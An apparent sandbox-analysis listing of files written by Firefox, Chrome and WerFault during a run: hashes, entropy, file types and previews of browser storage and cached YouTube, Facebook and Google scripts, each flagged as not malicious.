SHA1:	FC840E20ADA02E158B7F75B8E8A9B0ECABE7A68D
SHA-256:	15A0CF5D367294A4C9777C94FB0B9D3AC139A43201757D1FCDB19BBC214C0631
SHA-512:	2E534BC3D08214F871929F5C46CF0FE2E0B7D6C480A2DAC5A9C3E494DE0BDE9BF4279DF4594553A2EECD14645CF4E78CD84E23C8393F293DBAF7AC9A79800DD6
Malicious:	false
Reputation:	unknown
Preview:	..-...................................8..../....-...................................8..../..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 416, last written using SQLite version 3042000, writer version 2, read version 2, file counter 8, database pages 144, cookie 0xd, schema 4, largest root page 11, UTF-8, vacuum mode 1, version-valid-for 8
Category:	dropped
Size (bytes):	589824
Entropy (8bit):	4.348064310917232
Encrypted:	false
SSDEEP:	6144:iM5ocEznpqgFMigEw7sX2skYEEAfRaDJCA/o74Az:iM+cELFMigEw7sG0ERaDdg4Az
MD5:	2B8A83E23E2AAC11505F4C770F970FD2
SHA1:	F311CC8B7D30CCD92680540594B0B85C291A2404
SHA-256:	A4088BE023528A92B41DE9B84FB59DB75249A4E4591EB773A81B4E428DA83653
SHA-512:	19D2C8799D0A881A2805B826F77546E85C490636D8F7C783BA0097A81D4E020DC102A294BAA4527EB92C8899AC4B174F3B3FA1E4C49487326EA67E0EE940E1D0
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j............;.......[..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................-...3....triggerfile_update_triggerfileCREATE TRIGGER file_update_trigger AFTER UPDATE ON file FOR EACH ROW WHEN NEW.refcount = 0 BEGIN DELETE FROM file WHERE id = OLD.id; END.Y...A#..Ytriggerobject_data_delete

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\webappsstore.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.469484908007884
Encrypted:	false
SSDEEP:	6144:zzZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuNqjDH5S:PZHtYZWOKnMM6bFpQj4
MD5:	B298ED683B2200529382724EC267BC5B
SHA1:	7FA7D4F84480E23CDDB24D30F2D94F2587AAF0CF
SHA-256:	42DC4151924A5BA33DD71CC9A5B1756CC0A6BFA755FAFB5338E48AED0A041701
SHA-512:	FEABC6D18F5BDEEE4002371D4D643863D496C7D690C8F5C621BAE8947E62508ED6BF70805DEA65A1927A925D39BD06BE05F78C44019CADBD59029AA6FE21B546
Malicious:	false
Reputation:	unknown
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....I..............................................................................................................................................................................................................................................................................................................................................=...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 1000

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (533)
Category:	downloaded
Size (bytes):	5547
Entropy (8bit):	5.234104150395812
Encrypted:	false
SSDEEP:	96:+E8YzVFXsVws8HYnkfI+C4yVdbaiGkNF2LSaAuEeRzgf5j6YJR79hamaWslv0Rw:+ajsVws8Hlzg2i/N9hzWgf5jhJR79haZ
MD5:	936A7C8159737DF8DCE532F9EA4D38B4
SHA1:	8834EA22EFF1BDFD35D2EF3F76D0E552E75E83C5
SHA-256:	3EA95AF77E18116ED0E8B52BB2C0794D1259150671E02994AC2A8845BD1AD5B9
SHA-512:	54471260A278D5E740782524392249427366C56B288C302C73D643A24C96D99A487507FBE1C47E050A52144713DFEB64CD37BC6359F443CE5F8FEB1A2856A70A
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/intersection-observer.min.vflset/intersection-observer.min.js
Preview:	/.. Copyright 2016 Google Inc. All Rights Reserved... Licensed under the W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE... https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document../.(function(f,h){function t(a){this.time=a.time;this.target=a.target;this.rootBounds=a.rootBounds;this.boundingClientRect=a.boundingClientRect;this.intersectionRect=a.intersectionRect\|\|q();this.isIntersecting=!!a.intersectionRect;a=this.boundingClientRect;a=a.widtha.height;var b=this.intersectionRect;b=b.widthb.height;this.intersectionRatio=a?b/a:this.isIntersecting?1:0}function d(a,b){b=b\|\|{};if("function"!=typeof a)throw Error("callback must be a function");if(b.root&&1!=b.root.nodeType)throw Error("root must be an Element");.this.g=y(this.g.bind(this),this.B);this.D=a;this.h=[];this.i=[];this.s=this.L(b.rootMargin);this.thresholds=this.J(b.threshold);this.root=b.root\|\|null;this.rootMargin=this.s.map(function(c){return c.value+c.unit}).join(" ")}function y(a,b){var c=null;return function

Chrome Cache Entry: 1001

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32588)
Category:	downloaded
Size (bytes):	71201
Entropy (8bit):	5.772169765184667
Encrypted:	false
SSDEEP:	768:SBZJygeadsCni+N6woTnHAPIZe/SGiQhCbNjrZBym0pzRR6mY75WAEUui8G8b5sr:GJyolcw5hvigCxm5G8bS/rf
MD5:	695F9B7ED7EE0C8AEF329C148CBD6BAD
SHA1:	C6F7547D1CB3036266F13DBCB3BCEF855E235D09
SHA-256:	D6FA06E2419FB00E179794C2CC6770FDD6E31A7C5FD90C63CA2A6CDFBEE761F2
SHA-512:	95C8E1AEF2C958769048B155299FEC96677D8677F1579C96A7AFF571884CB50F22FFDFFE0889A31665B05E9929A48FB5AAF6C65801D1096A525DC943A10E432D
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yq/r/6bjw9N12j0I.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("LoggedOutSwitchingLocaleTypedLogger",["Banzai","GeneratedLoggerUtils"],(function(a,b,c,d,e,f){"use strict";a=function(){function a(){this.$1={}}var c=a.prototype;c.log=function(a){b("GeneratedLoggerUtils").log("logger:LoggedOutSwitchingLocaleLoggerConfig",this.$1,b("Banzai").BASIC,a)};c.logVital=function(a){b("GeneratedLoggerUtils").log("logger:LoggedOutSwitchingLocaleLoggerConfig",this.$1,b("Banzai").VITAL,a)};c.logImmediately=function(a){b("GeneratedLoggerUtils").log("logger:LoggedOutSwitchingLocaleLoggerConfig",this.$1,{signal:!0},a)};c.clear=function(){this.$1={};return this};c.getData=function(){return babelHelpers["extends"]({},this.$1)};c.updateData=function(a){this.$1=babelHelpers["extends"]({},this.$1,a);return this};c.setIndex=function(a){this.$1.index=a;return this};c.setNewLocale=function(a){this.$1.new_locale=a;return this};c.setOldLocale=function(a){this.$1.old_locale=a;return this};c.setReferrer=function(a){this.$1.referrer=a;return this};return a

Chrome Cache Entry: 1002

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	2146371
Entropy (8bit):	4.924275558469035
Encrypted:	false
SSDEEP:	12288:N1gBsSauueScxf7OHfh/U9HYo/4Q/5mdAUJsC8icAX5GcsXuYgUcw1ku0fql9WKb:xo/4Q/5mdU/v054
MD5:	0447DEC3763FAE1CA0033E1F064151D1
SHA1:	1DA86BDAE568895729934A5E0667189D605E6513
SHA-256:	CABBC0BB2F5A81C1CB16450EDD081C6C10BAE93FA35535E746AECF4483F9AB6F
SHA-512:	6F693D602AD4F435644A7965504084045510906B2F23B2DB2A895420C8D022290F43FFD2C490758943BE9521AF047E13713BA4C78016570A589C95B6BDD0E50E
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/_/ytmainappweb/_/ss/k=ytmainappweb.kevlar_base.fLWlFbBZ5xY.L.B1.O/am=ABAK/d=0/rs=AGKMywHhXrldChEf48bT3v0YjuAtI5m7dg
Preview:	.lottie-component{display:block}.yt-spec-icon-shape{display:flex;align-items:center;justify-content:center;width:100%;height:100%}.yt-core-attributed-string--inline-flex-mod{display:inline-flex;height:1.4em;vertical-align:middle}.yt-core-attributed-string--inline-block-mod{display:inline-block}.yt-core-attributed-string__image-element--image-alignment-bottom{vertical-align:bottom}.yt-core-attributed-string__image-element--image-alignment-baseline{vertical-align:baseline}.yt-core-attributed-string__image-element--image-alignment-vertical-center{align-self:center}.yt-core-attributed-string__link{text-decoration:none}.yt-core-attributed-string__link--display-type{display:inline}.yt-core-attributed-string__link--call-to-action-color{color:#065fd4}.yt-core-attributed-string__link--overlay-call-to-action-color{color:#3ea6ff}.yt-core-attributed-string--link-inherit-color .yt-core-attributed-string__link--call-to-action-color{color:inherit}.yt-core-attributed-string--highlight-text-decorator .

Chrome Cache Entry: 1003

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1586
Entropy (8bit):	4.971538502379734
Encrypted:	false
SSDEEP:	24:Yj0jutsEgaFs9v8eY2x2UfwhUdt0A66ucXaKUoXab/:Y9ts3aFs90pUbtd79aKpab/
MD5:	052B9F6B80876F7C32894105E377BA3B
SHA1:	2018FC66AB3C28A18167B11C547406CF1BBAF89A
SHA-256:	A7B005C03E9F79AB0D36080925C50F6C101BBBF9853DD849E9A0030A810C89A1
SHA-512:	2DC6CA28250F1E5A0EF91D677A6732BD64D5D09C930B78AF226823621C0F1A6BDBDE23583C75F69D5101E918D7FAF40ADD7C236B0AA733D3B02F95528D1B3374
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/manifest.webmanifest
Preview:	{"name":"YouTube","short_name":"YouTube","background_color":"#FFFFFF","display":"minimal-ui","start_url":"/?feature\u003dytca","scope":"/","icons":[{"src":"https://www.gstatic.com/youtube/img/branding/favicon/favicon_144x144.png","sizes":"144x144","type":"image/png"},{"src":"https://www.gstatic.com/youtube/img/branding/favicon/favicon_192x192.png","sizes":"192x192","type":"image/png"},{"src":"https://www.gstatic.com/youtube/img/web/monochrome/logo_16x16.png","sizes":"16x16","type":"image/png","purpose":"monochrome"},{"src":"https://www.gstatic.com/youtube/img/web/monochrome/logo_32x32.png","sizes":"32x32","type":"image/png","purpose":"monochrome"},{"src":"https://fonts.gstatic.com/s/i/googlematerialicons/video_youtube/v11/white-48dp/1x/gm_video_youtube_white_48dp.png","sizes":"48x48","type":"image/png","purpose":"monochrome"},{"src":"https://www.gstatic.com/youtube/img/web/monochrome/logo_512x512.png","sizes":"512x512","type":"image/png","purpose":"monochrome"}],"theme_color":"#FF0000"

Chrome Cache Entry: 1004

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1130)
Category:	downloaded
Size (bytes):	1149
Entropy (8bit):	5.293725969066352
Encrypted:	false
SSDEEP:	24:hFIGCO28X0wpN3msUpNbWUpN3KoSKM1TskQjFsne+oSDkRNYml9:DySXPpQxpNpm1TsPSnryYml9
MD5:	18F03B6683EEBEFEC82F8AB362DDEE01
SHA1:	9FB52FE3B8A1730F75106AD55390F85958365FF6
SHA-256:	9EB382CEF983AEF7E97F8317560FC632521AE7C234A62932178EFD9FCCD70360
SHA-512:	763FA2D3F591BAEDA72200B172E4349A700AC150D8590EE798FCEAE8B599570F9F0AD371D37A917EF3D61016E718F0E023898C32B6A395E2418C807223ADAA99
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/y2/r/3FPJ9YC_wUr.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("throttle",["TimeSlice","TimeSliceInteractionSV","setTimeout","setTimeoutAcrossTransitions"],(function(a,b,c,d,e,f,g){function a(a,b,d){return h(a,b,d,c("setTimeout"),!1)}Object.assign(a,{acrossTransitions:function(a,b,d){return h(a,b,d,c("setTimeoutAcrossTransitions"),!1)},withBlocking:function(a,b,d){return h(a,b,d,c("setTimeout"),!0)},acrossTransitionsWithBlocking:function(a,b,d){return h(a,b,d,c("setTimeoutAcrossTransitions"),!0)}});function h(a,b,d,e,f){var g=b==null?100:b,h,i=null,j=0,k=null,l=[],m=c("TimeSlice").guard(function(){j=Date.now();if(i){var b=function(b){a.apply(h,b)}.bind(null,i),c=l.length;while(--c>=0)b=l[c].bind(null,b);l=[];b();i=null;k=e(m,g)}else k=null},"throttle_"+g+"_ms",{propagationType:c("TimeSlice").PropagationType.EXECUTION,registerCallStack:!0});m.__SMmeta=a.__SMmeta;return function(){c("TimeSliceInteractionSV").ref_counting_fix&&l.push(c("TimeSlice").getGuardedContinuation("throttleWithContinuation"));for(var a=arguments.length,b

Chrome Cache Entry: 1005

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (574)
Category:	downloaded
Size (bytes):	3448
Entropy (8bit):	5.474195960044918
Encrypted:	false
SSDEEP:	96:orJwQJvYqL8Shqn2Xt3y9XImqL6VexAJWoFw:SwQJQumIFoqx5
MD5:	D060B5371249E859D5F80FFF961E1F50
SHA1:	6A33183CF9369184DFA814E1D7122A3943716238
SHA-256:	F68A40AEE0FAC282C6599CCAC9C0375F9CAAE4CA0AD16F87C662C64597689367
SHA-512:	3B8A93C6A848C255F35B81FDDFD8791E2CF32C4C892B67EEE231914D79131FB254C424922707A1266910CBDD9493EA20B57EF3C8B7CEF3C32C925E8783E86538
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=A7fCU,AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,VwDzFe,W2YXuc,YHI3We,YTxL4,ZUKRxc,ZZ4WUe,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,bm51tf,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPfo0c,qmdT9,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,w9hDv,wg1P6b,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=Wt6vjf,hhhU8,FCpbqb,WhJNk"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("Wt6vjf");.var nra=function(){var a=_.je();return _.ek(a,1)};var Qr=function(a){this.Ga=_.t(a,0,Qr.messageId)};_.z(Qr,_.v);Qr.prototype.Ja=function(){return _.Kj(this,1)};Qr.prototype.Wa=function(a){return _.qk(this,1,a)};Qr.messageId="f.bo";var Rr=function(){_.am.call(this)};_.z(Rr,_.am);Rr.prototype.Sc=function(){this.QN=!1;ora(this);_.am.prototype.Sc.call(this)};Rr.prototype.aa=function(){pra(this);if(this.xz)return qra(this),!1;if(!this.TP)return Sr(this),!0;this.dispatchEvent("p");if(!this.nJ)return Sr(this),!0;this.cH?(this.dispatchEvent("r"),Sr(this)):qra(this);return!1};.var rra=function(a){var b=new _.dp(a.RZ);null!=a.tK&&b.aa("authuser",a.tK);return b},qra=function(a){a.xz=!0;var b=rra(a),c="rt=r&f_uid="+_.Ai(a.nJ);_.Hm(b,(0,_.kg)(a.ea,a),"POST",c)};.Rr.prototype.ea=function(a){a=a.target;pra(this);if(_.Km(a)){this.dF=0;if(this.cH)this.xz=!1,this.dispatchEvent("

Chrome Cache Entry: 928

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1299)
Category:	downloaded
Size (bytes):	114724
Entropy (8bit):	5.551213200680841
Encrypted:	false
SSDEEP:	3072:wbxHQPJKnX30dnatNADF+Lz+T3J+E1KLd2rDr1I:wdQP0X30dnatNADF+Lz+T3J+eKU3r1I
MD5:	5A4453E9E3E19DE3FBABC55106F72397
SHA1:	7DCACF570ADA05AD90A3C19A59ED5443121DA6E6
SHA-256:	2E0DB94DBC625420B47C18DBE0CCD34D4A9AA08D15023E51F938AEDC753B0E2B
SHA-512:	ABCC8E5C5D4B5988F0AC5B47AAD04A137E26A315F6E5CE577A2227B350ABDB62AAC14A447F0DBD6EFB6DF43C9573DCDCAF1DD862AABA6667F612B3448E305B9B
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCUo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,Rkm0ef,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlEotM5KnP6eq1I-j0IjUz5JAQCU0Q/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ltDFwf,Rusgnf,Ctsu,UPKV3d,bPkrc,W2YXuc,pxq3x,IZ1fbc,soHxf,kSPLL,qPfo0c,yRXbo,bTi8wc,ywOR5c,PHUIyb"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ltDFwf");.var Krb=_.w("ltDFwf");var jV=function(a){_.J.call(this,a.Ha);var b=this.oa();this.pb=this.Qa("P1ekSe");this.mb=this.Qa("cQwEuf");this.da=b.getData("progressvalue").number(0);this.ja=b.getData("buffervalue").number(1);this.Ca=b.yb("B6Vhqe");this.Ma=b.yb("juhVM");this.ta=b.yb("D6TUi");this.aa=b.yb("qdulke");this.La=0!==this.da;this.Ka=1!==this.ja;this.Fa=[];this.ea=_.It(this).Yb(function(){this.Fa.length&&(this.Fa.forEach(this.o8,this),this.Fa=[]);this.La&&(this.La=!1,_.as(this.pb,"transform","scaleX("+this.da+")"));this.Ka&&.(this.Ka=!1,_.as(this.mb,"transform","scaleX("+this.ja+")"));_.As(b,"B6Vhqe",this.Ca);_.As(b,"D6TUi",this.ta);_.As(b,"juhVM",this.Ma);_.As(b,"qdulke",this.aa)}).build();this.ea();_.Uh&&_.It(this).Yb(function(){b.ob("ieri7c")}).ze().build()();_.mA(this.oa().el(),this.Sa.bind(this))};_.z(jV,_.J);jV.Ba=_.J.Ba;.jV.prototype.Sa=function(a,b){Lrb(

Chrome Cache Entry: 929

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1210)
Category:	downloaded
Size (bytes):	78646
Entropy (8bit):	5.412136972940148
Encrypted:	false
SSDEEP:	1536:w/Q5Up0BWTFRcxRpIoMwetxBJ9YDf4YRPlF/hyqqR4Qj2W:87mM1OxAx
MD5:	908E3A26A43D87BAC9396377A9C4B6A8
SHA1:	B9DDB61F1D0A4ED930881B909D3A4B01B2E62C7A
SHA-256:	417FD55B390293D45901B37398ACFC8C3B4FEDE6A395F541C2EE48F732990D61
SHA-512:	4FD58BA30456F96A8704412123BCA4C4A48E976E28BAEADED37232FA7A3C4C3FBAA6B79988DC7190D569D1B6024FB0C2F3EAD621A3E2D280C024D7EEC01011B6
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/jsbin/webcomponents-sd.vflset/webcomponents-sd.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var k;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}function p(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if("number"==typeof a.length)return{next:aa(a)};throw Error(String(a)+" is not an iterable or ArrayLike");}function q(a){if(!(a instanceof Array)){a=p(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}.function ba(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ca=ba(this);function r(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b};/*..Copyright (c) 2016 The Polymer Project Authors. All rights reserved..This code may only be used unde

Chrome Cache Entry: 930

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17932)
Category:	downloaded
Size (bytes):	28985
Entropy (8bit):	5.374011404169404
Encrypted:	false
SSDEEP:	384:huk+I6EeyKEIWEeyCgq2YNwwESzQnZKETYN2COZYcUBQA4LxWm3CKgB+2RNPGRmW:0rJ4hNzrXNAtU9ArbM+ANORmUDl
MD5:	7A115F68D2C04AC16BBEA24BBE76CB65
SHA1:	F8A3777970D4E63256D9FC7B1B85F899BD95C73E
SHA-256:	AB65842F41DDADCBF1A60B717F59F7DFBBF6896F49C8F619CFD90086E8BD8E3A
